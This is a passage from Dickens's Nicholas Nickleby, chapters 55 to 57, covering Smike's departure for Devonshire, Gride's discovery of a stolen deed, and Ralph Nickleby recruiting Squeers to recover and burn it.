Nickleby, +wishing to interest Nicholas in the subject to the utmost. + +'Call it?' repeated Nicholas. + +'Ah!' returned his mother, 'what style of nose? What order of +architecture, if one may say so. I am not very learned in noses. +Do you call it a Roman or a Grecian?' + +'Upon my word, mother,' said Nicholas, laughing, 'as well as I +remember, I should call it a kind of Composite, or mixed nose. But +I have no very strong recollection on the subject. If it will +afford you any gratification, I'll observe it more closely, and let +you know.' + +'I wish you would, my dear,' said Mrs Nickleby, with an earnest +look. + +'Very well,' returned Nicholas. 'I will.' + +Nicholas returned to the perusal of the book he had been reading, +when the dialogue had gone thus far. Mrs Nickleby, after stopping a +little for consideration, resumed. + +'He is very much attached to you, Nicholas, my dear.' + +Nicholas laughingly said, as he closed his book, that he was glad to +hear it, and observed that his mother seemed deep in their new +friend's confidence already. + +'Hem!' said Mrs Nickleby. 'I don't know about that, my dear, but I +think it is very necessary that somebody should be in his +confidence; highly necessary.' + +Elated by a look of curiosity from her son, and the consciousness of +possessing a great secret, all to herself, Mrs Nickleby went on with +great animation: + +'I am sure, my dear Nicholas, how you can have failed to notice it, +is, to me, quite extraordinary; though I don't know why I should say +that, either, because, of course, as far as it goes, and to a +certain extent, there is a great deal in this sort of thing, +especially in this early stage, which, however clear it may be to +females, can scarcely be expected to be so evident to men. I don't +say that I have any particular penetration in such matters. I may +have; those about me should know best about that, and perhaps do +know. Upon that point I shall express no opinion, it wouldn't +become me to do so, it's quite out of the question, quite.' + +Nicholas snuffed the candles, put his hands in his pockets, and, +leaning back in his chair, assumed a look of patient suffering and +melancholy resignation. + +'I think it my duty, Nicholas, my dear,' resumed his mother, 'to +tell you what I know: not only because you have a right to know it +too, and to know everything that happens in this family, but because +you have it in your power to promote and assist the thing very much; +and there is no doubt that the sooner one can come to a clear +understanding on such subjects, it is always better, every way. +There are a great many things you might do; such as taking a walk in +the garden sometimes, or sitting upstairs in your own room for a +little while, or making believe to fall asleep occasionally, or +pretending that you recollected some business, and going out for an +hour or so, and taking Mr Smike with you. These seem very slight +things, and I dare say you will be amused at my making them of so +much importance; at the same time, my dear, I can assure you (and +you'll find this out, Nicholas, for yourself one of these days, if +you ever fall in love with anybody; as I trust and hope you will, +provided she is respectable and well conducted, and of course you'd +never dream of falling in love with anybody who was not), I say, I +can assure you that a great deal more depends upon these little +things than you would suppose possible. If your poor papa was +alive, he would tell you how much depended on the parties being left +alone. Of course, you are not to go out of the room as if you meant +it and did it on purpose, but as if it was quite an accident, and to +come back again in the same way. If you cough in the passage before +you open the door, or whistle carelessly, or hum a tune, or +something of that sort, to let them know you're coming, it's always +better; because, of course, though it's not only natural but +perfectly correct and proper under the circumstances, still it is +very confusing if you interrupt young people when they are--when +they are sitting on the sofa, and--and all that sort of thing: which +is very nonsensical, perhaps, but still they will do it.' + +The profound astonishment with which her son regarded her during +this long address, gradually increasing as it approached its climax +in no way discomposed Mrs Nickleby, but rather exalted her opinion +of her own cleverness; therefore, merely stopping to remark, with +much complacency, that she had fully expected him to be surprised, +she entered on a vast quantity of circumstantial evidence of a +particularly incoherent and perplexing kind; the upshot of which +was, to establish, beyond the possibility of doubt, that Mr Frank +Cheeryble had fallen desperately in love with Kate. + +'With whom?' cried Nicholas. + +Mrs Nickleby repeated, with Kate. + +'What! OUR Kate! My sister!' + +'Lord, Nicholas!' returned Mrs Nickleby, 'whose Kate should it be, +if not ours; or what should I care about it, or take any interest in +it for, if it was anybody but your sister?' + +'Dear mother,' said Nicholas, 'surely it can't be!' + +'Very good, my dear,' replied Mrs Nickleby, with great confidence. +'Wait and see.' + +Nicholas had never, until that moment, bestowed a thought upon the +remote possibility of such an occurrence as that which was now +communicated to him; for, besides that he had been much from home of +late and closely occupied with other matters, his own jealous fears +had prompted the suspicion that some secret interest in Madeline, +akin to that which he felt himself, occasioned those visits of Frank +Cheeryble which had recently become so frequent. Even now, although +he knew that the observation of an anxious mother was much more +likely to be correct in such a case than his own, and although she +reminded him of many little circumstances which, taken together, +were certainly susceptible of the construction she triumphantly put +upon them, he was not quite convinced but that they arose from mere +good-natured thoughtless gallantry, which would have dictated the +same conduct towards any other girl who was young and pleasing. At +all events, he hoped so, and therefore tried to believe it. + +'I am very much disturbed by what you tell me,' said Nicholas, after +a little reflection, 'though I yet hope you may be mistaken.' + +'I don't understand why you should hope so,' said Mrs Nickleby, 'I +confess; but you may depend upon it I am not.' + +'What of Kate?' inquired Nicholas. + +'Why that, my dear,' returned Mrs Nickleby, 'is just the point upon +which I am not yet satisfied. During this sickness, she has been +constantly at Madeline's bedside--never were two people so fond of +each other as they have grown--and to tell you the truth, Nicholas, +I have rather kept her away now and then, because I think it's a +good plan, and urges a young man on. He doesn't get too sure, you +know.' + +She said this with such a mingling of high delight and self- +congratulation, that it was inexpressibly painful to Nicholas to +dash her hopes; but he felt that there was only one honourable +course before him, and that he was bound to take it. + +'Dear mother,' he said kindly, 'don't you see that if there were +really any serious inclination on the part of Mr Frank towards Kate, +and we suffered ourselves for a moment to encourage it, we should be +acting a most dishonourable and ungrateful part? I ask you if you +don't see it, but I need not say that I know you don't, or you would +have been more strictly on your guard. Let me explain my meaning to +you. Remember how poor we are.' + +Mrs Nickleby shook her head, and said, through her tears, that +poverty was not a crime. + +'No,' said Nicholas, 'and for that reason poverty should engender an +honest pride, that it may not lead and tempt us to unworthy actions, +and that we may preserve the self-respect which a hewer of wood and +drawer of water may maintain, and does better in maintaining than a +monarch in preserving his. Think what we owe to these two brothers: +remember what they have done, and what they do every day for us with +a generosity and delicacy for which the devotion of our whole lives +would be a most imperfect and inadequate return. What kind of +return would that be which would be comprised in our permitting +their nephew, their only relative, whom they regard as a son, and +for whom it would be mere childishness to suppose they have not +formed plans suitably adapted to the education he has had, and the +fortune he will inherit--in our permitting him to marry a +portionless girl: so closely connected with us, that the +irresistible inference must be, that he was entrapped by a plot; +that it was a deliberate scheme, and a speculation amongst us three? +Bring the matter clearly before yourself, mother. Now, how would +you feel, if they were married, and the brothers, coming here on one +of those kind errands which bring them here so often, you had to +break out to them the truth? Would you be at ease, and feel that +you had played an open part?' + +Poor Mrs Nickleby, crying more and more, murmured that of course Mr +Frank would ask the consent of his uncles first. + +'Why, to be sure, that would place HIM in a better situation with +them,' said Nicholas, 'but we should still be open to the same +suspicions; the distance between us would still be as great; the +advantages to be gained would still be as manifest as now. We may +be reckoning without our host in all this,' he added more +cheerfully, 'and I trust, and almost believe we are. If it be +otherwise, I have that confidence in Kate that I know she will feel +as I do--and in you, dear mother, to be assured that after a little +consideration you will do the same.' + +After many more representations and entreaties, Nicholas obtained a +promise from Mrs Nickleby that she would try all she could to think +as he did; and that if Mr Frank persevered in his attentions she +would endeavour to discourage them, or, at the least, would render +him no countenance or assistance. He determined to forbear +mentioning the subject to Kate until he was quite convinced that +there existed a real necessity for his doing so; and resolved to +assure himself, as well as he could by close personal observation, +of the exact position of affairs. This was a very wise resolution, +but he was prevented from putting it in practice by a new source of +anxiety and uneasiness. + +Smike became alarmingly ill; so reduced and exhausted that he could +scarcely move from room to room without assistance; and so worn and +emaciated, that it was painful to look upon him. Nicholas was +warned, by the same medical authority to whom he had at first +appealed, that the last chance and hope of his life depended on his +being instantly removed from London. That part of Devonshire in +which Nicholas had been himself bred was named as the most +favourable spot; but this advice was cautiously coupled with the +information, that whoever accompanied him thither must be prepared +for the worst; for every token of rapid consumption had appeared, +and he might never return alive. + +The kind brothers, who were acquainted with the poor creature's sad +history, dispatched old Tim to be present at this consultation. +That same morning, Nicholas was summoned by brother Charles into his +private room, and thus addressed: + +'My dear sir, no time must be lost. This lad shall not die, if such +human means as we can use can save his life; neither shall he die +alone, and in a strange place. Remove him tomorrow morning, see +that he has every comfort that his situation requires, and don't +leave him; don't leave him, my dear sir, until you know that there +is no longer any immediate danger. It would be hard, indeed, to +part you now. No, no, no! Tim shall wait upon you tonight, sir; Tim +shall wait upon you tonight with a parting word or two. Brother +Ned, my dear fellow, Mr Nickleby waits to shake hands and say +goodbye; Mr Nickleby won't be long gone; this poor chap will soon +get better, very soon get better; and then he'll find out some nice +homely country-people to leave him with, and will go backwards and +forwards sometimes--backwards and forwards you know, Ned. And +there's no cause to be downhearted, for he'll very soon get better, +very soon. Won't he, won't he, Ned?' + +What Tim Linkinwater said, or what he brought with him that night, +needs not to be told. Next morning Nicholas and his feeble +companion began their journey. + +And who but one--and that one he who, but for those who crowded +round him then, had never met a look of kindness, or known a word of +pity--could tell what agony of mind, what blighted thoughts, what +unavailing sorrow, were involved in that sad parting? + +'See,' cried Nicholas eagerly, as he looked from the coach window, +'they are at the corner of the lane still! And now there's Kate, +poor Kate, whom you said you couldn't bear to say goodbye to, waving +her handkerchief. Don't go without one gesture of farewell to +Kate!' + +'I cannot make it!' cried his trembling companion, falling back in +his seat and covering his eyes. 'Do you see her now? Is she there +still?' + +'Yes, yes!' said Nicholas earnestly. 'There! She waves her hand +again! I have answered it for you--and now they are out of sight. +Do not give way so bitterly, dear friend, don't. You will meet them +all again.' + +He whom he thus encouraged, raised his withered hands and clasped +them fervently together. + +'In heaven. I humbly pray to God in heaven.' + +It sounded like the prayer of a broken heart. + + + +CHAPTER 56 + +Ralph Nickleby, baffled by his Nephew in his late Design, hatches a +Scheme of Retaliation which Accident suggests to him, and takes into +his Counsels a tried Auxiliary + + +The course which these adventures shape out for themselves, and +imperatively call upon the historian to observe, now demands that +they should revert to the point they attained previously to the +commencement of the last chapter, when Ralph Nickleby and Arthur +Gride were left together in the house where death had so suddenly +reared his dark and heavy banner. + +With clenched hands, and teeth ground together so firm and tight +that no locking of the jaws could have fixed and riveted them more +securely, Ralph stood, for some minutes, in the attitude in which he +had last addressed his nephew: breathing heavily, but as rigid and +motionless in other respects as if he had been a brazen statue. +After a time, he began, by slow degrees, as a man rousing himself +from heavy slumber, to relax. For a moment he shook his clasped +fist towards the door by which Nicholas had disappeared; and then +thrusting it into his breast, as if to repress by force even this +show of passion, turned round and confronted the less hardy usurer, +who had not yet risen from the ground. + +The cowering wretch, who still shook in every limb, and whose few +grey hairs trembled and quivered on his head with abject dismay, +tottered to his feet as he met Ralph's eye, and, shielding his face +with both hands, protested, while he crept towards the door, that it +was no fault of his. + +'Who said it was, man?' returned Ralph, in a suppressed voice. 'Who +said it was?' + +'You looked as if you thought I was to blame,' said Gride, timidly. + +'Pshaw!' Ralph muttered, forcing a laugh. 'I blame him for not +living an hour longer. One hour longer would have been long enough. +I blame no one else.' + +'N--n--no one else?' said Gride. + +'Not for this mischance,' replied Ralph. 'I have an old score to +clear with that young fellow who has carried off your mistress; +but that has nothing to do with his blustering just now, for we +should soon have been quit of him, but for this cursed accident.' + +There was something so unnatural in the calmness with which Ralph +Nickleby spoke, when coupled with his face, the expression of the +features, to which every nerve and muscle, as it twitched and +throbbed with a spasm whose workings no effort could conceal, gave, +every instant, some new and frightful aspect--there was something so +unnatural and ghastly in the contrast between his harsh, slow, +steady voice (only altered by a certain halting of the breath which +made him pause between almost every word like a drunken man bent +upon speaking plainly), and these evidences of the most intense and +violent passion, and the struggle he made to keep them under; that +if the dead body which lay above had stood, instead of him, before +the cowering Gride, it could scarcely have presented a spectacle +which would have terrified him more. + +'The coach,' said Ralph after a time, during which he had struggled +like some strong man against a fit. 'We came in a coach. Is it +waiting?' + +Gride gladly availed himself of the pretext for going to the window +to see. Ralph, keeping his face steadily the other way, tore at his +shirt with the hand which he had thrust into his breast, and +muttered in a hoarse whisper: + +'Ten thousand pounds! He said ten thousand! The precise sum paid +in but yesterday for the two mortgages, and which would have gone +out again, at heavy interest, tomorrow. If that house has failed, +and he the first to bring the news!--Is the coach there?' + +'Yes, yes,' said Gride, startled by the fierce tone of the inquiry. +'It's here. Dear, dear, what a fiery man you are!' + +'Come here,' said Ralph, beckoning to him. 'We mustn't make a show +of being disturbed. We'll go down arm in arm.' + +'But you pinch me black and blue,' urged Gride. + +Ralph let him go impatiently, and descending the stairs with his +usual firm and heavy tread, got into the coach. Arthur Gride +followed. After looking doubtfully at Ralph when the man asked +where he was to drive, and finding that he remained silent, and +expressed no wish upon the subject, Arthur mentioned his own house, +and thither they proceeded. + +On their way, Ralph sat in the furthest corner with folded arms, and +uttered not a word. With his chin sunk upon his breast, and his +downcast eyes quite hidden by the contraction of his knotted brows, +he might have been asleep for any sign of consciousness he gave +until the coach stopped, when he raised his head, and glancing +through the window, inquired what place that was. + +'My house,' answered the disconsolate Gride, affected perhaps by its +loneliness. 'Oh dear! my house.' + +'True,' said Ralph 'I have not observed the way we came. I should +like a glass of water. You have that in the house, I suppose?' + +'You shall have a glass of--of anything you like,' answered Gride, +with a groan. 'It's no use knocking, coachman. Ring the bell!' + +The man rang, and rang, and rang again; then, knocked until the +street re-echoed with the sounds; then, listened at the keyhole of +the door. Nobody came. The house was silent as the grave. + +'How's this?' said Ralph impatiently. + +'Peg is so very deaf,' answered Gride with a look of anxiety and +alarm. 'Oh dear! Ring again, coachman. She SEES the bell.' + +Again the man rang and knocked, and knocked and rang again. Some of +the neighbours threw up their windows, and called across the street +to each other that old Gride's housekeeper must have dropped down +dead. Others collected round the coach, and gave vent to various +surmises; some held that she had fallen asleep; some, that she had +burnt herself to death; some, that she had got drunk; and one very +fat man that she had seen something to eat which had frightened her +so much (not being used to it) that she had fallen into a fit. This +last suggestion particularly delighted the bystanders, who cheered +it rather uproariously, and were, with some difficulty, deterred +from dropping down the area and breaking open the kitchen door to +ascertain the fact. Nor was this all. Rumours having gone abroad +that Arthur was to be married that morning, very particular +inquiries were made after the bride, who was held by the majority to +be disguised in the person of Mr Ralph Nickleby, which gave rise to +much jocose indignation at the public appearance of a bride in boots +and pantaloons, and called forth a great many hoots and groans. At +length, the two money-lenders obtained shelter in a house next door, +and, being accommodated with a ladder, clambered over the wall of +the back-yard--which was not a high one--and descended in safety on +the other side. + +'I am almost afraid to go in, I declare,' said Arthur, turning to +Ralph when they were alone. 'Suppose she should be murdered. Lying +with her brains knocked out by a poker, eh?' + +'Suppose she were,' said Ralph. 'I tell you, I wish such things +were more common than they are, and more easily done. You may stare +and shiver. I do!' + +He applied himself to a pump in the yard; and, having taken a deep +draught of water and flung a quantity on his head and face, regained +his accustomed manner and led the way into the house: Gride +following close at his heels. + +It was the same dark place as ever: every room dismal and silent as +it was wont to be, and every ghostly article of furniture in its +customary place. The iron heart of the grim old clock, undisturbed +by all the noise without, still beat heavily within its dusty case; +the tottering presses slunk from the sight, as usual, in their +melancholy corners; the echoes of footsteps returned the same +dreary sound; the long-legged spider paused in his nimble run, +and, scared by the sight of men in that his dull domain, hung +motionless on the wall, counterfeiting death until they should have +passed him by. + +From cellar to garret went the two usurers, opening every creaking +door and looking into every deserted room. But no Peg was there. +At last, they sat them down in the apartment which Arthur Gride +usually inhabited, to rest after their search. + +'The hag is out, on some preparation for your wedding festivities, I +suppose,' said Ralph, preparing to depart. 'See here! I destroy the +bond; we shall never need it now.' + +Gride, who had been peering narrowly about the room, fell, at that +moment, upon his knees before a large chest, and uttered a terrible +yell. + +'How now?' said Ralph, looking sternly round. + +'Robbed! robbed!' screamed Arthur Gride. + +'Robbed! of money?' + +'No, no, no. Worse! far worse!' + +'Of what then?' demanded Ralph. + +'Worse than money, worse than money!' cried the old man, casting the +papers out of the chest, like some beast tearing up the earth. 'She +had better have stolen money--all my money--I haven't much! She had +better have made me a beggar than have done this!' + +'Done what?' said Ralph. 'Done what, you devil's dotard?' + +Still Gride made no answer, but tore and scratched among the papers, +and yelled and screeched like a fiend in torment. + +'There is something missing, you say,' said Ralph, shaking him +furiously by the collar. 'What is it?' + +'Papers, deeds. I am a ruined man. Lost, lost! I am robbed, I am +ruined! She saw me reading it--reading it of late--I did very +often--She watched me, saw me put it in the box that fitted into +this, the box is gone, she has stolen it. Damnation seize her, she +has robbed me!' + +'Of WHAT?' cried Ralph, on whom a sudden light appeared to break, +for his eyes flashed and his frame trembled with agitation as he +clutched Gride by his bony arm. 'Of what?' + +'She don't know what it is; she can't read!' shrieked Gride, not +heeding the inquiry. 'There's only one way in which money can be +made of it, and that is by taking it to her. Somebody will read it +for her, and tell her what to do. She and her accomplice will get +money for it and be let off besides; they'll make a merit of it--say +they found it--knew it--and be evidence against me. The only person +it will fall upon is me, me, me!' + +'Patience!' said Ralph, clutching him still tighter and eyeing him +with a sidelong look, so fixed and eager as sufficiently to denote +that he had some hidden purpose in what he was about to say. 'Hear +reason. She can't have been gone long. I'll call the police. Do +you but give information of what she has stolen, and they'll lay +hands upon her, trust me. Here! Help!' + +'No, no, no!' screamed the old man, putting his hand on Ralph's +mouth. 'I can't, I daren't.' + +'Help! help!' cried Ralph. + +'No, no, no!' shrieked the other, stamping on the ground with the +energy of a madman. 'I tell you no. I daren't, I daren't!' + +'Daren't make this robbery public?' said Ralph. + +'No!' rejoined Gride, wringing his hands. 'Hush! Hush! Not a word +of this; not a word must be said. I am undone. Whichever way I +turn, I am undone. I am betrayed. I shall be given up. I shall +die in Newgate!' + +With frantic exclamations such as these, and with many others in +which fear, grief, and rage, were strangely blended, the panic- +stricken wretch gradually subdued his first loud outcry, until it +had softened down into a low despairing moan, chequered now and then +by a howl, as, going over such papers as were left in the chest, he +discovered some new loss. With very little excuse for departing so +abruptly, Ralph left him, and, greatly disappointing the loiterers +outside the house by telling them there was nothing the matter, got +into the coach, and was driven to his own home. + +A letter lay on his table. He let it lie there for some time, as if +he had not the courage to open it, but at length did so and turned +deadly pale. + +'The worst has happened,' he said; 'the house has failed. I see. +The rumour was abroad in the city last night, and reached the ears +of those merchants. Well, well!' + +He strode violently up and down the room and stopped again. + +'Ten thousand pounds! And only lying there for a day--for one day! +How many anxious years, how many pinching days and sleepless nights, +before I scraped together that ten thousand pounds!--Ten thousand +pounds! How many proud painted dames would have fawned and smiled, +and how many spendthrift blockheads done me lip-service to my face +and cursed me in their hearts, while I turned that ten thousand +pounds into twenty! While I ground, and pinched, and used these +needy borrowers for my pleasure and profit, what smooth-tongued +speeches, and courteous looks, and civil letters, they would have +given me! The cant of the lying world is, that men like me compass +our riches by dissimulation and treachery: by fawning, cringing, and +stooping. Why, how many lies, what mean and abject evasions, what +humbled behaviour from upstarts who, but for my money, would spurn +me aside as they do their betters every day, would that ten thousand +pounds have brought me in! Grant that I had doubled it--made cent. +per cent.--for every sovereign told another--there would not be one +piece of money in all the heap which wouldn't represent ten thousand +mean and paltry lies, told, not by the money-lender, oh no! but by +the money-borrowers, your liberal, thoughtless, generous, dashing +folks, who wouldn't be so mean as save a sixpence for the world!' + +Striving, as it would seem, to lose part of the bitterness of his +regrets in the bitterness of these other thoughts, Ralph continued +to pace the room. There was less and less of resolution in his +manner as his mind gradually reverted to his loss; at length, +dropping into his elbow-chair and grasping its sides so firmly that +they creaked again, he said: + +'The time has been when nothing could have moved me like the loss of +this great sum. Nothing. For births, deaths, marriages, and all the +events which are of interest to most men, have (unless they are +connected with gain or loss of money) no interest for me. But now, +I swear, I mix up with the loss, his triumph in telling it. If he +had brought it about,--I almost feel as if he had,--I couldn't hate +him more. Let me but retaliate upon him, by degrees, however slow-- +let me but begin to get the better of him, let me but turn the +scale--and I can bear it.' + +His meditations were long and deep. They terminated in his +dispatching a letter by Newman, addressed to Mr Squeers at the +Saracen's Head, with instructions to inquire whether he had arrived +in town, and, if so, to wait an answer. Newman brought back the +information that Mr Squeers had come by mail that morning, and had +received the letter in bed; but that he sent his duty, and word that +he would get up and wait upon Mr Nickleby directly. + +The interval between the delivery of this message, and the arrival +of Mr Squeers, was very short; but, before he came, Ralph had +suppressed every sign of emotion, and once more regained the hard, +immovable, inflexible manner which was habitual to him, and to +which, perhaps, was ascribable no small part of the influence which, +over many men of no very strong prejudices on the score of morality, +he could exert, almost at will. + +'Well, Mr Squeers,' he said, welcoming that worthy with his +accustomed smile, of which a sharp look and a thoughtful frown were +part and parcel: 'how do YOU do?' + +'Why, sir,' said Mr Squeers, 'I'm pretty well. So's the family, and +so's the boys, except for a sort of rash as is a running through the +school, and rather puts 'em off their feed. But it's a ill wind as +blows no good to nobody; that's what I always say when them lads has +a wisitation. A wisitation, sir, is the lot of mortality. +Mortality itself, sir, is a wisitation. The world is chock full of +wisitations; and if a boy repines at a wisitation and makes you +uncomfortable with his noise, he must have his head punched. That's +going according to the Scripter, that is.' + +'Mr Squeers,' said Ralph, drily. + +'Sir.' + +'We'll avoid these precious morsels of morality if you please, and +talk of business.' + +'With all my heart, sir,' rejoined Squeers, 'and first let me say--' + +'First let ME say, if you please.--Noggs!' + +Newman presented himself when the summons had been twice or thrice +repeated, and asked if his master called. + +'I did. Go to your dinner. And go at once. Do you hear?' + +'It an't time,' said Newman, doggedly. + +'My time is yours, and I say it is,' returned Ralph. + +'You alter it every day,' said Newman. 'It isn't fair.' + +'You don't keep many cooks, and can easily apologise to them for the +trouble,' retorted Ralph. 'Begone, sir!' + +Ralph not only issued this order in his most peremptory manner, but, +under pretence of fetching some papers from the little office, saw +it obeyed, and, when Newman had left the house, chained the door, to +prevent the possibility of his returning secretly, by means of his +latch-key. + +'I have reason to suspect that fellow,' said Ralph, when he returned +to his own office. 'Therefore, until I have thought of the shortest +and least troublesome way of ruining him, I hold it best to keep him +at a distance.' + +'It wouldn't take much to ruin him, I should think,' said Squeers, +with a grin. + +'Perhaps not,' answered Ralph. 'Nor to ruin a great many people +whom I know. You were going to say--?' + +Ralph's summary and matter-of-course way of holding up this example, +and throwing out the hint that followed it, had evidently an effect +(as doubtless it was designed to have) upon Mr Squeers, who said, +after a little hesitation and in a much more subdued tone: + +'Why, what I was a-going to say, sir, is, that this here business +regarding of that ungrateful and hard-hearted chap, Snawley senior, +puts me out of my way, and occasions a inconveniency quite +unparalleled, besides, as I may say, making, for whole weeks +together, Mrs Squeers a perfect widder. It's a pleasure to me to +act with you, of course.' + +'Of course,' said Ralph, drily. + +'Yes, I say of course,' resumed Mr Squeers, rubbing his knees, 'but +at the same time, when one comes, as I do now, better than two +hundred and fifty mile to take a afferdavid, it does put a man out a +good deal, letting alone the risk.' + +'And where may the risk be, Mr Squeers?' said Ralph. + +'I said, letting alone the risk,' replied Squeers, evasively. + +'And I said, where was the risk?' + +'I wasn't complaining, you know, Mr Nickleby,' pleaded Squeers. +'Upon my word I never see such a--' + +'I ask you where is the risk?' repeated Ralph, emphatically. + +'Where the risk?' returned Squeers, rubbing his knees still harder. +'Why, it an't necessary to mention. Certain subjects is best +awoided. Oh, you know what risk I mean.' + +'How often have I told you,' said Ralph, 'and how often am I to tell +you, that you run no risk? What have you sworn, or what are you +asked to swear, but that at such and such a time a boy was left with +you in the name of Smike; that he was at your school for a given +number of years, was lost under such and such circumstances, is now +found, and has been identified by you in such and such keeping? +This is all true; is it not?' + +'Yes,' replied Squeers, 'that's all true.' + +'Well, then,' said Ralph, 'what risk do you run? Who swears to a +lie but Snawley; a man whom I have paid much less than I have you?' + +'He certainly did it cheap, did Snawley,' observed Squeers. + +'He did it cheap!' retorted Ralph, testily; 'yes, and he did it +well, and carries it off with a hypocritical face and a sanctified +air, but you! Risk! What do you mean by risk? The certificates are +all genuine, Snawley HAD another son, he HAS been married twice, his +first wife IS dead, none but her ghost could tell that she didn't +write that letter, none but Snawley himself can tell that this is +not his son, and that his son is food for worms! The only perjury +is Snawley's, and I fancy he is pretty well used to it. Where's +your risk?' + +'Why, you know,' said Squeers, fidgeting in his chair, 'if you come +to that, I might say where's yours?' + +'You might say where's mine!' returned Ralph; 'you may say where's +mine. I don't appear in the business, neither do you. All +Snawley's interest is to stick well to the story he has told; and +all his risk is, to depart from it in the least. Talk of YOUR risk +in the conspiracy!' + +'I say,' remonstrated Squeers, looking uneasily round: 'don't call +it that! Just as a favour, don't.' + +'Call it what you like,' said Ralph, irritably, 'but attend to me. +This tale was originally fabricated as a means of annoyance against +one who hurt your trade and half cudgelled you to death, and to +enable you to obtain repossession of a half-dead drudge, whom you +wished to regain, because, while you wreaked your vengeance on him +for his share in the business, you knew that the knowledge that he +was again in your power would be the best punishment you could +inflict upon your enemy. Is that so, Mr Squeers?' + +'Why, sir,' returned Squeers, almost overpowered by the +determination which Ralph displayed to make everything tell against +him, and by his stern unyielding manner, 'in a measure it was.' + +'What does that mean?' said Ralph. + +'Why, in a measure means," returned Squeers, 'as it may be, that it +wasn't all on my account, because you had some old grudge to +satisfy, too.' + +'If I had not had,' said Ralph, in no way abashed by the reminder, +'do you think I should have helped you?' + +'Why no, I don't suppose you would,' Squeers replied. 'I only +wanted that point to be all square and straight between us.' + +'How can it ever be otherwise?' retorted Ralph. 'Except that the +account is against me, for I spend money to gratify my hatred, and +you pocket it, and gratify yours at the same time. You are, at +least, as avaricious as you are revengeful. So am I. Which is best +off? You, who win money and revenge, at the same time and by the +same process, and who are, at all events, sure of money, if not of +revenge; or I, who am only sure of spending money in any case, and +can but win bare revenge at last?' + +As Mr Squeers could only answer this proposition by shrugs and +smiles, Ralph bade him be silent, and thankful that he was so well +off; and then, fixing his eyes steadily upon him, proceeded to say: + +First, that Nicholas had thwarted him in a plan he had formed for +the disposal in marriage of a certain young lady, and had, in the +confusion attendant on her father's sudden death, secured that lady +himself, and borne her off in triumph. + +Secondly, that by some will or settlement--certainly by some +instrument in writing, which must contain the young lady's name, and +could be, therefore, easily selected from others, if access to the +place where it was deposited were once secured--she was entitled to +property which, if the existence of this deed ever became known to +her, would make her husband (and Ralph represented that Nicholas was +certain to marry her) a rich and prosperous man, and most formidable +enemy. + +Thirdly, that this deed had been, with others, stolen from one who +had himself obtained or concealed it fraudulently, and who feared to +take any steps for its recovery; and that he (Ralph) knew the thief. + +To all this Mr Squeers listened, with greedy ears that devoured +every syllable, and with his one eye and his mouth wide open: +marvelling for what special reason he was honoured with so much of +Ralph's confidence, and to what it all tended. + +'Now,' said Ralph, leaning forward, and placing his hand on +Squeers's arm, 'hear the design which I have conceived, and which I +must--I say, must, if I can ripen it--have carried into execution. +No advantage can be reaped from this deed, whatever it is, save by +the girl herself, or her husband; and the possession of this deed by +one or other of them is indispensable to any advantage being gained. +THAT I have discovered beyond the possibility of doubt. I want that +deed brought here, that I may give the man who brings it fifty +pounds in gold, and burn it to ashes before his face.' + +Mr Squeers, after following with his eye the action of Ralph's hand +towards the fire-place as if he were at that moment consuming the +paper, drew a long breath, and said: + +'Yes; but who's to bring it?' + +'Nobody, perhaps, for much is to be done before it can be got at,' +said Ralph. 'But if anybody--you!' + +Mr Squeers's first tokens of consternation, and his flat +relinquishment of the task, would have staggered most men, if they +had not immediately occasioned an utter abandonment of the +proposition. On Ralph they produced not the slightest effect. +Resuming, when the schoolmaster had quite talked himself out of +breath, as coolly as if he had never been interrupted, Ralph +proceeded to expatiate on such features of the case as he deemed it +most advisable to lay the greatest stress on. + +These were, the age, decrepitude, and weakness of Mrs Sliderskew; +the great improbability of her having any accomplice or even +acquaintance: taking into account her secluded habits, and her long +residence in such a house as Gride's; the strong reason there was to +suppose that the robbery was not the result of a concerted plan: +otherwise she would have watched an opportunity of carrying off a +sum of money; the difficulty she would be placed in when she began +to think on what she had done, and found herself encumbered with +documents of whose nature she was utterly ignorant; and the +comparative ease with which somebody, with a full knowledge of her +position, obtaining access to her, and working on her fears, if +necessary, might worm himself into her confidence and obtain, under +one pretence or another, free possession of the deed. To these were +added such considerations as the constant residence of Mr Squeers at +a long distance from London, which rendered his association with Mrs +Sliderskew a mere masquerading frolic, in which nobody was likely to +recognise him, either at the time or afterwards; the impossibility +of Ralph's undertaking the task himself, he being already known to +her by sight; and various comments on the uncommon tact and +experience of Mr Squeers: which would make his overreaching one old +woman a mere matter of child's play and amusement. In addition to +these influences and persuasions, Ralph drew, with his utmost skill +and power, a vivid picture of the defeat which Nicholas would +sustain, should they succeed, in linking himself to a beggar, where +he expected to wed an heiress--glanced at the immeasurable +importance it must be to a man situated as Squeers, to preserve such +a friend as himself--dwelt on a long train of benefits, conferred +since their first acquaintance, when he had reported favourably of +his treatment of a sickly boy who had died under his hands (and +whose death was very convenient to Ralph and his clients, but this +he did NOT say), and finally hinted that the fifty pounds might be +increased to seventy-five, or, in the event of very great success, +even to a hundred. + +These arguments at length concluded, Mr Squeers crossed his legs, +uncrossed them, scratched his head, rubbed his eye, examined the +palms of his hands, and bit his nails, and after exhibiting many +other signs of restlessness and indecision, asked 'whether one +hundred pound was the highest that Mr Nickleby could go.' Being +answered in the affirmative, he became restless again, and, after +some thought, and an unsuccessful inquiry 'whether he couldn't go +another fifty,' said he supposed he must try and do the most he +could for a friend: which was always his maxim, and therefore he +undertook the job. + +'But how are you to get at the woman?' he said; 'that's what it is +as puzzles me.' + +'I may not get at her at all,' replied Ralph, 'but I'll try. I have +hunted people in this city, before now, who have been better hid +than she; and I know quarters in which a guinea or two, carefully +spent, will often solve darker riddles than this. Ay, and keep them +close too, if need be! I hear my man ringing at the door. We may +as well part. You had better not come to and fro, but wait till you +hear from me.' + +'Good!' returned Squeers. 'I say! If you shouldn't find her out, +you'll pay expenses at the Saracen, and something for loss of time?' + +'Well,' said Ralph, testily; 'yes! You have nothing more to say?' + +Squeers shaking his head, Ralph accompanied him to the streetdoor, +and audibly wondering, for the edification of Newman, why it was +fastened as if it were night, let him in and Squeers out, and +returned to his own room. + +'Now!' he muttered, 'come what come may, for the present I am firm +and unshaken. Let me but retrieve this one small portion of my loss +and disgrace; let me but defeat him in this one hope, dear to his +heart as I know it must be; let me but do this; and it shall be the +first link in such a chain which I will wind about him, as never +man forged yet.' + + + +CHAPTER 57 + +How Ralph Nickleby's Auxiliary went about his Work, and how he +prospered with it + + +It was a dark, wet, gloomy night in autumn, when in an upper room of +a mean house situated in an obscure street, or rather court, near +Lambeth, there sat, all alone, a one-eyed man grotesquely habited, +either for lack of better garments or for purposes of disguise, in a +loose greatcoat, with arms half as long again as his own, and a +capacity of breadth and length which would have admitted of his +winding himself in it, head and all, with the utmost 